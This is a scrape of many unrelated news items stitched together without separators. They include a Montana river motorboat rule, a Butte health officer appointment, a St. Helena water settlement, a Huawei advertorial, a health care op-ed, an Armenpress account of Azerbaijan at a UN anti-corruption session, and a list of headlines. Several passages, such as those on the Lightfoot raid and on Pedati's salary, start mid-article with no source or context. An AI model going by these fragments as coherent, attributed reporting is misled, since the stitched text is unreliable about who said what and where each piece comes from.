Yellowstone River upstream to Natural Bridge from April 1 through Sept. 30. No motorboat use would be allowed on the river above Natural Bridge. Previously, the rulemaking was geared to ban all motorized boat use. The new proposal, unanimously approved by the Fish and Wildlife Commission at its Tuesday meeting, now goes to the public for comment. That first proposal was upended in April when a new Fish and Wildlife Commission tossed the issue back to an advisory group for reconsideration. The original motorboat ban was based on a petition from 47 Boulder River landowners. It was my recommendation and my motion that we actually form this working group when the petition was brought to us originally, Commissioner Brian Cebull said. Seeing the issue as precedent setting, since there are lots of rivers in Montana surrounded by private land, Cebull wanted to make sure all stakeholders had a chance to gather and mull the matter. Pleased with the outcome, he added, There was something for everyone in there. The new rule was opposed by the Sweet Grass County Conservation District and the Boulder River Watershed Association, said Dan Rostad, who was a member of the advisory group but works for the conservation district as watershed coordinator. The Boulder River is not the river for motorized watercraft, he said in speaking for the groups. Its just too small. Montana Trout Unlimited supported the original petition banning motorboats. TU spokesman Clayton Elliott said the group is concerned about possible damage to riparian areas and aquatic life on the stream. Big Timber resident Cliff Weller, who was also a member of the advisory group, supported the revised rule and suggested the closure include the Boulder Rivers tributaries, an oversight corrected in an amended motion. The first proposal came at the request of landowner Tom Patterson, who said last year there were two close calls between jet boats and recreationists using the Boulder River in the summer of 2020. The landowners also said the narrow river has blind corners and is home to irrigation pumps, other nonmotorized boaters, anglers, swimmers, innertubers and livestock that present hazards to upstream powerboats. Opponents had decried the petition as a way for landowners to restrict use of the river, chipping away at the states stream access law. Phil Kilbreath of Fish, Wildlife & Parks enforcement division, told the commission in April that collisions between boats are more likely to occur on lakes. The main safety issue on rivers is people without life jackets falling out of boats. As a result, such petitions tend to be more of a social issue, Kilbreath added. The Boulder is a narrow, rocky stream that drains from the Beartooth and Absaroka mountains. The waterway is a tributary to the Yellowstone River, entering near Big Timber. Public access points on its 20-mile lower section are limited, making motorized boating a potentially viable means to gain access to portions of the river when conditions allow, FWP wrote in notes provided to the commission in April. Additionally, not all motorized boating uses traditional jets boats; emerging technologies such as electric kayaks could provide access to portions of the Boulder River currently inaccessible. About a year ago, a different Fish and Wildlife Commission approved a ban on motorboats on the Shields River, citing safety concerns after wardens had seen jet boats meeting that rivers 10 horsepower requirement. At the time, FWPs enforcement staff said wardens were concerned new technology could increase speeds with 10 horsepower engines. The Shields is also a small tributary to the Yellowstone River, located east of Livingston in Park County. In 2020, commissioners rejected a request to allow hovercraft access along the Bitterroot and Clark Fork rivers near Missoula where boats are limited to 20 horsepower motors. In 2017, the Fish and Wildlife Commission denied the "Quiet Waters" petition that would have banned motorized boats on several rivers. The proposal targeted the Yellowstone, Flathead, Marias, Stillwater, Sun, Teton, Bitterroot, Missouri, Swan and Whitefish rivers, with additional changes to several tributaries. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Butte-Silver Bow Board of Health has chosen Karen Maloughney, a registered nurse who has led many efforts and initiatives with the department for 18 years, as the countys new health officer. Commissioners must confirm the choice before it is official but thats expected to happen when they meet on Jan. 5. Maloughney has been interim director since Karen Sullivan retired from the post last month. Shes been in many different places in the department and knows it really, really well, said Health Board Chairwoman Ivy Fredrickson. Shes been there almost two decades so I think it will be a really, really smooth transition. Fredrickson said the board received numerous applications for the post and interviewed three finalists before choosing Maloughney. Shes trusted and respected within the department and among all the different partner groups and other organizations so I think we are very pleased with this choice, Fredrickson said. J.P. Gallagher, Butte-Silver Bows chief executive, said he couldnt think of a better person for the post. We are fortunate to have a qualified person come from within Butte-Silver Bow to lead the Health Department, he said. She has a medical background and has worked in the Health Department for many years and knows the staff and needs of the department. Maloughney said she was extremely excited and thankful to have this opportunity to serve Butte-Silver Bow in directing a department that works as a team. Its such an important job and Im just really excited, she said. Maloughney is a Butte native and was in the first graduating class of Montana Tech's registered nurse program in 2001. She received an associate RN degree that year and earned her bachelors degree in nursing three years later. She joined the health department 18 years ago and has overseen many programs and divisions, including in her most current role as director of the Communicable Disease and Emergency Preparedness Division. When COVID-19 hit in March 2020, she had a leading role in responding to the pandemic. She helped coordinate testing, oversaw COVID-related clinics and kept the board and community up to date on developments, among other things. She has been part of a community task force on suicide prevention since 2014 and has had Superfund-related health responsibilities, working with the RMAP program administered by Butte-Silver Bow and following blood-lead cases and statistics. She has also worked closely with doctors and nurses to monitor the community for infectious disease. Maloughney said the pandemic has been the most challenging thing we have faced to date and the effort continues because the pandemic isnt over. Its been really, really hard on everybody physically and emotionally. Its been tough, she said. But she said it has been a team approach from the beginning, and Sullivan, other division directors and everyone has played a part. When COVID first hit, we all kicked in and the whole department really fell into place and into their roles, Maloughney said. We couldnt have done it without a coordinated effort from all the staff and from Butte-Silver Bow. Maloughney and her husband, Mike, have been together since 1990 and have a 17-year-old daughter, Kaidee. Love 15 Funny 1 Wow 1 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Mason Fellows has been collecting inflatable Christmas decorations for most of his life. They fill up every corner of his yard and spill over into his neighbor's yard too. And during the dark December nights, the decorations draw crowds of sight-seers who flock to the home off Continental Drive for the bouncing air-filled creatures and brilliant light display. Earlier this year, in anticipation of the Christmas season, the 14-year-old East Middle School student came up with a way to use his display as a means to raise money for Toys for Tots because "what is better than toys on Christmas?" he said. Fellows said he will be out on his curb this weekend selling cookies, pouring cocoa and spreading holiday cheer with the help of his 11-year-old brother, Dylan Fellows, and 12-year-old cousin, Colt Stenson. The first two weekends he opened the stand, Fellows said he raised nearly $400 selling sweets priced at just one dollar. And just before Christmas, he and his team of self-described elves will head to Walmart where he will take on the role of Santa Claus. He will use the money raised to pick out toys to donate. To see the blowup display and contribute to the fundraiser, visit Fellows and his family at 4103 Trenton St. from 7 to 9 p.m. on Friday and Saturday in Butte. Love 13 Funny 0 Wow 0 Sad 0 Angry 0 I am writing to correct misinformation about the Freedom to Vote Act that was contained in a December 1 letter in the Journal. The Act does provide baseline national standards for voter access, in the time allowed for voting, registration options and how voters are verified. It does not remove all choices states can make. Lots of checks and balances by election officials already exist to insure integrity of votes. In fact this act expands protections for destroying or altering ballots and election results, according to the Brennan Center for Justice at the NY University School of Law. Same day registration is already an option in Iowa that legislators were satisfied to be safe, and election officials have found to not unduly hamper election day. Also, 37 states allow online voter registration (including Iowa) and 38 states allow drop boxes to return ballots (including Iowa). Meanwhile, Lightfoot's claims that she had no knowledge of the raid were proven false when emails revealed that her staff had told her. Lightfoot came under more criticism when city attorneys tried to get a court order to prevent a local television station from airing video of the raid at Young's home. The episode was damaging to Lightfoot, who ran for office as a reformer only to be caught up in a scandal similar to the one that embroiled her predecessor, Rahm Emanuel, who just a few years earlier tried to prevent the release of dashcam video of the fatal police shooting of Black teenager Laquan McDonald. Young filed a lawsuit in February that named the city and 12 police officers as defendants and contended that police officials had failed to independently investigate and verify the place to be searched. Young also filed a federal lawsuit against the city in connection with the raid, but that lawsuit was dismissed last year. Throughout the pandemic Pedati largely followed Reynolds policies even when they conflicted with medical science at the time. She was silent when Reynolds, a Republican, reopened businesses in May 2020 as the state continued to see high case counts and deaths. Pedati also didn't comment on Reynolds refusal to implement a mask mandate late last year to slow virus spread as recommended by medical professionals, the Centers for Disease Control and Prevention and a White House virus task force. Reynolds authorized pay raises for Pedati that pushed her annual salary to more than $265,000 in the fiscal year that began July 1, 2020. Pedati also earlier that year received more than $55,000 in overtime pay, which normally wasn't paid to a person in her position, according to records obtained by the left-leaning Bleeding Heartland blog. Public health district directors in Virginia can earn between $170,000 and $220,000, according to recent job postings. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Andersen Air Force Base 36t Wing Commander Brig. Gen. Jeremy Sloane, left, and University of Guam professor Larry Raigetal push a box into a C-130 cargo aircraft to kick off this years 70th Annual Christmas Drop on Dec. 6, 2021. Eskom says that it will lease the land it owns near its power stations through an auction to private investors for renewable electricity generation. Kicking off in Mpumalanga, private power producers may use the land to generate electricity for their own consumption or for sale to third parties. According to Eskom, Mpumalanga has by far the most coal-fired plants with established transmission and distribution infrastructure. The availability of Eskom-owned land to near-ready projects will remove a significant barrier to investment, and go a long way to resolving the well-documented power crisis in the country, which is faced with an urgent and critical need for additional generation capacity, the state-owned power utility announced on Wednesday. Land leased through the scheme will remain the property of Eskom for the duration of the lease. The bidding criteria will favour generators for size and speed of delivery thus quickest delivery of the most megawatts to the grid in order to help relieve the constraints on the power system, said Eskom CEO Andre de Ruyter. The leasing of land would have to be made subject to production being achieved by a contracted date. The maximum amount of electricity generation capacity per project will be capped at 100MW, and the lease will be for a minimum period of 20 years. Eskom will provide a connection up to the nearest network connection point. Renewable energy is the least cost option for new generating capacity as demonstrated by the REIPP window 5 bid prices, Eskom stated. However, the Transmission Development Plan confirms that areas with the best solar and wind resources have limited capacity to accommodate additional generating capacity. Therefore, until the transmission backbone is strengthened in areas like the Northern, Western and Eastern Cape provinces, opportunities for additional generating capacity in other provinces need to be explored. Eskmo said the key objective of the project is to provide relief to South Africas constrained electricity system in as short as possible a time. In a briefing note in July this year, global management firm McKinsey warned that companies risk alienating their employees and even losing them if they refuse to acknowledge the disconnect between how employers and their workers see the future. Employers want to re-establish normality by bringing workers back to the office; employees want far more work-from-home. The solution, the briefing note suggests, is likely a hybrid model, something that many South African business leaders are already aware of. In fact, research suggests that nine out of 10 leaders expect a hybrid way of working to be the norm in the post-pandemic workplace. This new normal, however, places new demands on the technology we use. It has to be more seamless, more connected, more reliable, and smarter than ever before if its going to keep up with our flexible, hybrid lifestyles. Fortunately, international technology giant Huawei is already several steps ahead. Click here to learn more about the Huawei MateBook from Pinnacle or Mustek. The HUAWEI MateBook B Series fuels a new way of working Huawei recently launched a brand-new series of laptops that are ideally suited to meet the needs of a demanding and evolving business world. Featuring new processors and displays, the HUAWEI MateBook B Series delivers improved reliability, security and a more premium experience for those looking for an all-scenario, AI-enabled working life. The new-generation HUAWEI MateBook B Series includes the HUAWEI MateBook B7-410, B3-520 and B3-420, all of which are now available in South Africa. In addressing the needs of todays professionals, these devices all come with Huaweis Multi-screen Collaboration pre-installed. This feature allows for excellent integration with Huawei smartphones: simply tapping your handset against your laptop allows you to access both devices on a single screen, which offers significant productivity advantages. Just because they connect easily with other devices, however, doesnt mean the HUAWEI MateBook B Series laptops pose any security risks. Huawei knows that protecting a business data is one of its greatest priorities, which is why the series features a TPM2.0 security chip that safeguards data confidentiality, integrity and usability. The chip not only saves and manages BIOS and hard-drive passwords, but also supports the encryption of system and app login credentials. This means it can encrypt the credentials of employees online banking, messaging and email apps when they log in, providing additional security for any data thats still in transit. The HUAWEI MateBook B Series also features a fingerprint power button, which biometrically authenticates a users identity when theyre powering on their device, taking them directly to their desktop in one simple step. A model for every professional As the flagship model of the HUAWEI MateBook B Series, the HUAWEI MateBook B7-410 features an ultra-lightweight unibody made of aerospace-grade aluminium. Weighing just 1.33kg, it makes for an ideal companion for professionals who are fully adapted to a hybrid, and therefore mobile, way of working. Featuring a 13.9-inch 3K touch display with a screen-to-body ratio of 91%, the HUAWEI MateBook B7-410 also offers an expansive viewing area that will help employees work easily and effectively. The HUAWEI MateBook B3-520 and B3-420 laptops are more all-round in nature, and feature metal frames and minimalist designs. In addition to boasting the HUAWEI MateBooks signature FullView Display, they have received the TUV Rheinland certification for low blue light, which helps to alleviate any strain on a users eyes. All devices also feature a 56Wh large battery, which will make worrying about your battery a thing of the past. And when you do need to charge up, the HUAWEI MateBook B Series 65W portable fast charger will help you get going again in no time. The HUAWEI MateBook B Series is the answer to every need posed by the business world now and into the future. They can be bought through Pinnacle and Mustek. For more information, please contact the Pinnacle Huawei team at [email protected] or 011 265 3000, or the Mustek Huawei team at [email protected] or 011 237 1415. You can also visit www.mustek.co.za/huawei or https://www.pinnacle.co.za/huawei for more. A passel of pooches visited St. Helena High School at lunch on Tuesday to help students relax during an intense week of finals. School Resource Officer Melissa Brown organized the event after teacher Madeline Breazeale suggested doing something to help students de-stress during finals. The high school's leadership class suggested dogs. Five dogs were on hand as the lunch hour began, surrounded by students eager to pet them. Brown said local dog owners volunteered to bring their dogs. The St. Helena City Council has postponed action on a proposed settlement agreement that would require the city to provide water to the site of the old Hall mobile home park and pay $950,000 to end a lawsuit filed by the property owners. After discussing the matter in closed session and later hearing public comments on the settlement, the council agreed to take no action Tuesday and schedule the matter for action at a special meeting at 6 p.m. Monday, Dec. 20. The settlement with Hall Vineland, LLC would allow the property, which is just south of the St. Helena city limits, to use up to 2,135,250 gallons of city water per year, or approximately 6.5 acre-feet. The $950,000 in payments to Hall Vineland would be spread over six years. That amount doesnt include legal fees incurred by the city during almost three years of litigation. The St. Helena Public Works Department issued a will-serve letter in 2016 agreeing to provide water for a project on the site of the old Vineland Vista Mobile Home Park, based on historical water annual water demand of 2,135,250 gallons per year. The city rescinded that letter in 2018, claiming it had been based on the property owners incorrect assumptions about existing water use at the park, which had been vacant since 2014. The move came amid concerns by the City Council that the project proposed to the county amounted to a hotel, not a continuation of the sites use as a mobile home park. Hall Vinelands lawsuit sought a new will-serve letter and claimed damages exceeding $7 million. It claimed the property owners were only looking to renovate the park and had never abandoned their water rights. Absent a settlement, the case is scheduled to go to trial in March 2022. According to a staff report by Kevin Siegel, special counsel to the city, the City would have a reasonably good chance of prevailing in the trial court or on appeal, but it would be risky and costly. The $950,000 payment "eliminates risk that a court or jury would find the City liable for a larger amount," according to Siegel's report. His report also stated that the settlement meets the city's goals by limiting water use to the mobile home park's historical demand and securing a separate water agreement limiting the adjacent Hall winery property to 8 million gallons of water per year instead of 12 million. The city posted the proposed agreement online last Thursday along with the agenda for Tuesday's meeting. It prompted a flurry of public comments urging the council to give the public more time to review the agreement. Members of the public also asked for clarification about what the Halls plan to do with the property and whether the city's $950,000 payment would come out of the General Fund or the water enterprise fund. On Monday the city released an updated agenda removing the item from the council's consent agenda, where routine items can be approved with no discussion. After the council discussed the settlement agreement in closed session on Tuesday, Mayor Geoff Ellsworth announced the council would postpone action until a future meeting. Monday's meeting will also address questions raised by the public about the settlement. Questions can still be submitted to the council. Councilmember Lester Hardy, who served on the city's negotiating team along with with Vice Mayor Paul Dohring, said the settlement would allow the city staff and council to focus on more pressing matters like water. Hardy estimated he'd devoted 100 hours to the case since he was elected in 2020. Hardy also noted that St. Helena has been supplying water to the former mobile home site since 1940. "This is a continuation of water service, and now with a water agreement that provides for a penalty should that amount be exceeded," Hardy added. Councilmember Eric Hall said the settlement was "a little painful." "But hopefully we're done with it," Hall said. "To Lester's point, we have a lot more pressing items ahead of us, and I look forward to moving on to those." Dohring said the risk of losing at trial "is too great of a risk for our community," noting the plaintiffs' claim of $9 million in damages. "When someone's asking for $9 million and has the potential to strike the city for $9 million, you have to wake up and get real," Dohring said. "I think that's what the city's doing right now." This article has been amended to reflect that Lester Hardy was elected to the City Council in 2020. You can reach Jesse Duarte at 967-6803 or jduarte@sthelenastar.com. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. I want to deliver this holiday message to our St. Helena community and wish everyone a happy and peaceful holiday season. It has again been a year of challenges, a year of gains and losses but a year in which we have been fortunate, a year in which there is much to be grateful for and a year to celebrate all we are as a community our resilience, our strengths and our sensitivities as a community. With the COVID vaccines coming online earlier this year we were able to start coming back together and return to some levels of normalcy. This has meant so much to us all. I want to thank everyone for their efforts, for their belief that we can always find a way to work together through our challenges. It is an inspiring thing and I am grateful to our community for such valiant effort. Our health care heroes, our schools, our businesses, our non-profits, our City Council and City staff, our Chamber of Commerce, our faith-based organizations and service groups, our County and regional partners have all done so much to see each other through and all worked hard together to sustain our community through all stages of the COVID pandemic. We have done so carefully and must continue to do so as the pandemic continues at its current levels let's still be aware in using masks, social distancing and hygiene like handwashing to help keep things at a manageable level for our health care partners. This year we faced a low water year and an ongoing regional drought, and again our community responded and did a remarkable job in conserving water and working together through a very challenging and ongoing statewide situation. One of the silver linings of this has been an enhanced focus on our local and regional water resources, water supply and water distribution systems. While we hope for more rain this year, we also must be proactive in adapting to changing conditions and make all efforts to best manage and enhance the water resources we have. Thank you for your help in this and continuing the efforts of water conservation. Together we can do it. As with every year many community members passed on this year, all so valuable to us. People who left us great lessons, people who defined and helped create this unique and wonderful place, Let's keep them in our thoughts and hearts as they, and the lessons and the love and the memories they have given live on through us. I lost my Mother this year and that has been a very difficult thing and I thank all those who sent their kind condolences and care to myself and our family. My heart goes out to all who lost loved ones this past year. This is a time to reflect and remember the challenges and accomplishments of this past year, and a time to remember those less fortunate, those more vulnerable than ourselves. While St. Helena and our community has faced many challenges over the previous few years, we are fortunate to have certain resources that others may not, and certainly have been fortunate to have each other as neighbors and friends through whatever we have faced. We were fortunate this year to avoid a major wildfire event. This has allowed some extra capacity to prepare for the coming dry seasons. Let's use it wisely. Our community and emergency professionals have done an excellent job in ramping up prevention, awareness and readiness for these types of situations, but we must continue efforts in home hardening, creating defensible space and enhancing our community emergency response networks. Let's be proactive and work together on this. A good way is to get involved with our local Fire Safe Councils. Our St. Helena City staff have also been doing incredible work this year, both in emergency services such as with the pandemic and through a low water year, as well as in keeping day-to-day operations running smoothly. Let's not forget that they too have homes and families, and as much at stake as the rest of us through these challenges. Let's show appreciation, gratitude and empathy, and reflect upon our good fortune to be healthy and safe through all we have faced. Let's continue to support and inspire each other, let's keep checking in with each other, let's be inclusive and open-hearted to all. Let's support our local businesses, let's shop local, let's support our local restaurants, let's stay engaged as a community. Wishing you the best this holiday season as we move toward a new year, celebrating true joy and deep meaning within our wonderful community. With Gratitude, Mayor Geoff Disclaimer: I am submitting this correspondence as an individually elected public official in the position of mayor of St. Helena, but the opinions expressed herein are mine individually and do not represent the positions of the St. Helena City Council or the City of St. Helena. You have insurance good insurance Platinum Health Plus. Yes, you pay a hefty premium, but peace of mind is worth it. In a story recounted to me by a local physician, Bill and Marge (not their real names) thought they had the best insurance. Marge was diagnosed with cancer. Treatment and new experimental surgeries continued for ten years. During that time, insurance did not cover expenses they had to sell their primary residence to cover the costs. Following Marges death, Bill filed for bankruptcy. Had Universal Health Care been in place, their story would have ended differently. Calls for health care reform have been around since the early 1900s. In 1912 the Progressive Party candidate, Theodore Roosevelt, advocated for a national insurance: We pledge ourselves to work unceasingly in state and nation for the protection of home life against hazards a sickness he regular employment and old age through the adoption of a system of social insurance adapted to American use. Unfortunately he lost the election. In 1915 the American Association for Labor Legislation, a group of academics, submitted a proposal advocating for health insurance that would protect all workers against loss of wages and medical costs. This proposal received support from the public but was defeated by Congress. In 1945 the Wagner-Murray-Dingle bill proposed a National Medical Insurance Program. It was to be financed by Social Security payroll taxes. While supported by President Harry S Truman, it was defeated by Congress. President Richard Nixon, in his address to the Congress in 1971, proposed the National Health Strategy that would address the shortcomings in the healthcare system, including access to care cost and availability of healthcare professionals. No action taken by Congress. In 1993 President Bill Clinton initiated a discussion on healthcare reform. While initially applauded, it was later criticized by congressional members and never got beyond the discussion phase. That all changed on March 21, 2010 when the House of Representatives passed the Health Care Reform Bill (HR 3590 and Affordable Care Act) that was submitted to them by the Senate. It was signed into law by President Barack Obama on Tuesday, March 23, 2010. According to the Office of Health Policy, the number of uninsured non-elderly Americans fell from 48 million in 2010 to 28 million in 2016. Enter the COVID-19 epidemic loss of jobs resulted in loss of insurance. A Harvard Business Review article entitled U.S. Health Insurance Coverage in 2020: A Looming Crisis in Affordability stated the number of uninsured American citizens is 33 million. Furthermore, 43 percent of working-age adults had inadequate health insurance. For those underinsured, deductibles have grown faster than their income, taking up larger shares of their household budgets. Ones inability to pay medical bills has serious health consequences: not going to the doctor when sick, not filling a prescription, skipping a recommended laboratory test. Every decision to forego treatment leads to poor health. Enter Physicians for a National Health Program (PNHP), an organization that advocates for universal, comprehensive single-payer national health insurance. Formed in 1987, it now has over 30,000 members. PNHP believes that access to high-quality health care is a right of all people and should be provided equitably as a public service rather than bought and sold as a commodity. In a Letter to the Editor dated Aug. 26, 2021, Kathleen Healey, ENT Physician in Napa and Board Member of PNHP shared, The most cost-effective way to universal healthcare is with the government as the single-payer, which most of our allies have discovered. Why? 97% of the money goes to healthcare services and we save large sums of money by not sending 25-30% of our health care dollar to our middlemen for-profit insurance companies who use it for advertising, CEO salaries, shareholder profits, lobbyists, and large banks of administrators who deny services to patients, and payments to doctors, in order to increase their own profits. According to the PNHP, Single-payer national health insurance is a system in which a single public or quasi-public agency organizes health care financing, but the delivery of care remains largely in private hands. Residents of the U.S. would be covered for all medically necessary services, including doctor, hospital, preventive, long-term care, mental health, reproductive health care, dental, vision, prescription drug and medical supply costs. Premiums would disappear. Patients would no longer face financial barriers to care such as co-pays and deductibles, and would regain free choice of doctor and hospital. The Medicare for All Act of 2019, H.R. 1384, introduced in the U.S. Congress in March 2020, establishes an American single-payer health insurance system that is efficient and equitable. Everyone is covered ... no one is left out. Its time to let our voices be heard ... not only for ourselves, our families and our community, but for the most vulnerable of our population. Health Care for All Stand Up! Speak Up! Health Care for All CA (healthcareforall.org) Physicians for a National Health Program (pnhp.org) Beth Lincoln is the founder of Women Stand Up St. Helena, and Monday Vigil Black Lives Matter. She is a national speaker with expertise in cultural awareness and diversity in healthcare, education and law enforcement. Ms Lincoln is a Family Nurse Practitioner and adjunct faculty at Pacific Union College. For retired history teacher Henry Michalski, its a dream come true. The book about his parent's struggles during WWII, "Torn Lilacs," published in 2020, continues to garner well-received reviews from throughout the world, currently considered for numerous publishing awards. Michalski said, When I published this book, I had no idea how it would connect with the average reader. I thought my kids and a few friends would read it, and move on. But universally positive comments continue coming in, motivating me to further the books appeal. A reader in Australia wrote, 'Torn Lilacs was unputdownable.' Quality journalism doesn't happen without your help. Subscribe today! Support local news coverage and the people who report it by subscribing to the Napa Valley Register. Special offer: Subscribe for $4.99 for yo Last week, Michalski was the guest of honor in a class at Sonoma State University. Students studying the history of anti-Semitism with Rabbi Steve Finley of Sonoma were required to read "Torn Lilacs" and wanted to meet the author. Rabbi Finley, deeply moved by the book, wrote, True to its subtitle, 'Torn Lilacs' tells the story of love, defiance, and hope. These themes thread themselves through the entire story, and what an incredible story it is. I had trouble putting the book down, as I truly missed Henrys parents and uncle, whose story is told inside the background of World War II. Next month "Torn Lilacs" is taking Michalski on a speaking tour of South Florida. He is scheduled to address 15 groups ranging from Jewish Community Centers and synagogues to retirement communities in a two-week tour of the Sunshine State. Asked what drives him, Michalski said, Im just the writer, the navigator. 'Torn Lilacs' is carving out its own path, creating its own destiny. It is an important book, especially for these unsettling and uncertain times. Seventy-five years after Auschwitz, the human cry of 'Never Again' has become, 'Yet Again.' "The disease of anti-Semitism has reemerged with a vengeance unseen since the 1930s and holocaust denial is unrelenting, one reader wrote, 'Torn Lilacs' is not a political book, but a beautifully written story from the heart, a vaccine against the virulent pandemic of anti-Semitism. Joyce Prescott, board member of the Rotary Club of Napa wrote, I think this is the type of book that should be read in every junior high and high school in America. "It swells my heart knowing people are reading this book," Michalski said. "Its an incredible love story which takes place primarily in Siberia and Kazakhstan about two ordinary young Polish Jews surviving heart-stopping encounters just to stay alive. Like delicate flowers, they were torn, uprooted from their homes, from their native land, running for their lives. How outrageous is that? The fact that they survived at all is nothing short of divine intervention, and my own birth in Kazakhstan is a miracle. Six million stories will never be told. Michalski, who spent his entire teaching career in Napa, said, "Torn Lilacs' has not only given direction and purpose to his life, "but it has brought honor to the memory of his family and hope for his people. Joska and Fela and Uncle Kubas struggles are an example to all generations in every land of what happens when decent, kind people witness evil and see nothing. History repeats." During the 9th session of the UN Convention against Corruption, held on December 13-17 in Sharm el-Sheikh (Egypt), the Azerbaijani delegation decided to abuse the platform and, instead of touching upon the manifestations of rampant corruption in their own country, began to discredit Armenia, Artsakh (Nagorno-Karabakh), and Armenian organizations and individuals of the diaspora. Armenpress reports that the purpose of the event, entitled "Misuse of fund raising activities for corruption and related criminal purposes" and organized by the Azerbaijani delegation, was to label Armenian organizations as institutions funding terrorism and to present the realization of the right of the people of Artsakh to self-determination as separatism and terrorism. In order to give legitimacy to the event, the Azerbaijani delegation had decided to use the United Nations Office on Drugs and Crime (UNODC) in its political speculations, inviting UNODC representatives to take part in the thematic discussion as speakers. In addition, without permission from the UNODC Secretariat, Azerbaijan had used this organizations logo on the event materials to try to create the impression that UNODC and the 9th session of the UN Convention against Corruption are co-organizers of this event. But the Armenian delegationheaded by Prosecutor General Artur Davtyan of Armeniaattending the meeting took a number of steps to counter this Azerbaijani propaganda. In particular, at the request of the Armenian delegation, the UNODC Secretariat demanded that the Azerbaijani delegation remove the logos of the UNODC and from all documents related to this Azerbaijani event. In addition, at the request of the Armenian delegation, the UNODC expert, who was supposed to speak at the thematic discussion, stated that the UNODC Secretariat usually provides speakers for relevant events at the request of the participating countries. He also stressed that the presence of the Secretariat at the event in no way means that UNODC endorses any speeches or announcements made during the event. Asking to record his statement in the final document of this event, he left the platform and the sessions hall. After the speeches of the other speakers invited to the event, a member of the Armenian delegation, Consul of Armenia in Egypt Rafayel Movsessian took the floor, strongly criticized the anti-Armenian event organized by Azerbaijan, and demanded that Azerbaijan stop hate propaganda against famous Armenian organizations and figures who tried to draw the attention of the international community to the violence against the civilian population of Artsakh, crimes against humanity, violations of international humanitarian law, the destruction of the Armenian cultural and religious heritage during the war in 2020, and the humanitarian crisis created as a result of the aggression of Azerbaijan. He reminded Azerbaijan of the December 7 decision of the UN International Court of Justice on interim measures on Azerbaijan, which requires Azerbaijan to take steps to stop propaganda of racial hatred and discrimination, including by officials and state institutions, against persons of Armenian descent. A very limited number of foreigners physically participated in the meeting, and they left the sessions hall immediately after the speech of the Armenian delegation. 8 police and military killed in Kazakhstan: 317 more wounded Protesters in Kazakhstan tear down Nazarbayev's monument Special representatives of Armenia and Turkey meeting to take place on January 14 in Moscow Azerbaijani defense ministry denies news of servicemen deaths State of emergency introduced throughout Kazakhstan EU calls on all sides in Kazakhstan to avoid escalation and violence Azerbaijan starts receiving Turkmen gas through Iran Prime Minister Pashinyan congratulates Armenians on Christmas Protesters seize Almaty airport in Kazakhstan Andranik Grigoryan is the CEO of Converse Bank, Chairman of Executive Management France intends to help Azerbaijan in search of missing persons during 1st Karabakh war Aeroflot cancels flight to Almaty: Aktau airport not working Arnak Avetisyan appointed Armenian State Property Management Committees chair Armenia appoints new ambassador to Russia Christmas Eve liturgy takes place in Armenia's Etchmiadzin Attempts to demolish a monument of Nazarbayev in Kazakhstan Armenia deputy PM Mher Grigoryan to co-chair intergovernmental joint commission with Iran Media: Internet cut off in Nursultan and Almaty Armenia Prosecutor General to head for Moscow Armenia premier to send 10-member delegation to Russia Dollar gains value in Armenia Kazakh president delivers new speech to nation Kazakhstan protesters disarm police: Mir TV channel's office vandalized Kazakhstan presidential residence set on fire Almaty commandant: More than 500 civilians are beaten OSCE calls for de-escalation of Kazakhstan situation Protesters try to break into residence of Kazakhstan's president Kazakh security forces take the side of protesters Kazakh protesters seize Kazakh president's residence and destroy TV channels premises Baghdad military base hit by missile attack Armenian traces destroyed in occupied Shushi Prosecutor's office building is on fire: State of emergency in Almaty Azerbaijan declares 2022 year of occupied Armenian city of Shushi Justice minister not commenting on arresting Armenian captives returned from Azerbaijan Yerevan homeless shelter residents picketing in front of Armenia labor, social affairs ministry Hong Kong imposes ban on flights from 8 countries due to COVID-19 Protesters in Almaty riot hospitals and clinics PM: I have hard time imagining how Omicron variant cannot enter Armenia New council of Armenias Parakar does not convene first session, new village mayor not elected 7 new cases of coronavirus reported in Artsakh Armenia cargo transportation via railway drops but passengers increase in 2021 Government hands over Zangezur Copper and Molybdenum Combine certified rights with 15% Armenia-owned shares Borrell says EU cannot be a neutral spectator in talks with Russia Armenian PM urges to throw plastic bags out of life Oil prices stabilize after jump Premier recalls that anti-tobacco law has entered into force in Armenia as of January 1 129 new cases of COVID-19 confirmed in Armenia Kazakhstan President accepts governments resignation Armenia State Property Management Committee dismissed Armenia PM: We are entering 2022 with quite serious start to reforms New council of Armenias Parakar convenes first session, village mayor election on agenda New York prosecutor drops sex crime case against ex-governor Cuomo England, Wales to make taking pictures of breastfeeding mothers in public illegal Paraguay presidential guard dies after being impaled by deer while on duty Flights delayed at Kazakhstan's Aktau airport as rallies continue NATO foreign ministers to hold videoconference ahead of meeting with Russia Ford to double production capacity for electric version of F-150 pickup Oil prices rise by 1% Borrell not to discuss Nord Stream 2 during Ukraine visit Mercedes-Benz presents new electric car Vision EQXX Kazakh authorities to satisfy protesters' demands for lower gas prices Flooding in Iran: at least 8 people killed Turkish lira drops for another 4% Taliban army to be reinforced with suicide bombers Doctors reveal details of Brazil presidents health condition NATO head plans special meeting with Russia amid Ukraine crisis Russian peacekeepers ensure safe entry to Karabakh for about 2,000 vehicles Wave of protests against COVID-19 measures across Germany Karabakh President holds new years first working consultation with law enforcement agencies heads Coronavirus vaccines in Armenia are complemented with another one Armenia soldier remanded in custody for inflicting fatal gunshot wound to fellow serviceman Gas futures price in Europe exceed $ 1,000 US holds virtual inauguration ceremony for COVID-19-infected mayor US court forbids Pentagon to punish military personnel refusing vaccinations Armenia PM: We need to open new strategic page for transformation of customs service Armenia ambassador delivers lecture for U.S. Naval War College students 5-month-old baby dies in Yerevan hospital Armenias Vardenis town hall chief of staff signs mayor-elect inauguration session minutes Georgia to not attend 2nd 3+3-format meeting in Turkey either, its ambassador says Turkey airline applies for conducting flights between Istanbul and Yerevan China urges Russia and US to continue reducing nuclear arsenals Person, 58, dies in fire in Armenias Hrazdan Blinken and Cavusoglu discuss relations with Armenia Armenia law enforcement not permitting reporters to enter Vardenis town hall building Mayor-elect of Armenias Vardenis takes oath of office at town hall courtyard Canada court awards $ 107 million to families of passengers killed in Iran plane crash Armenia police not allowing newly elected council members to enter Vardenis 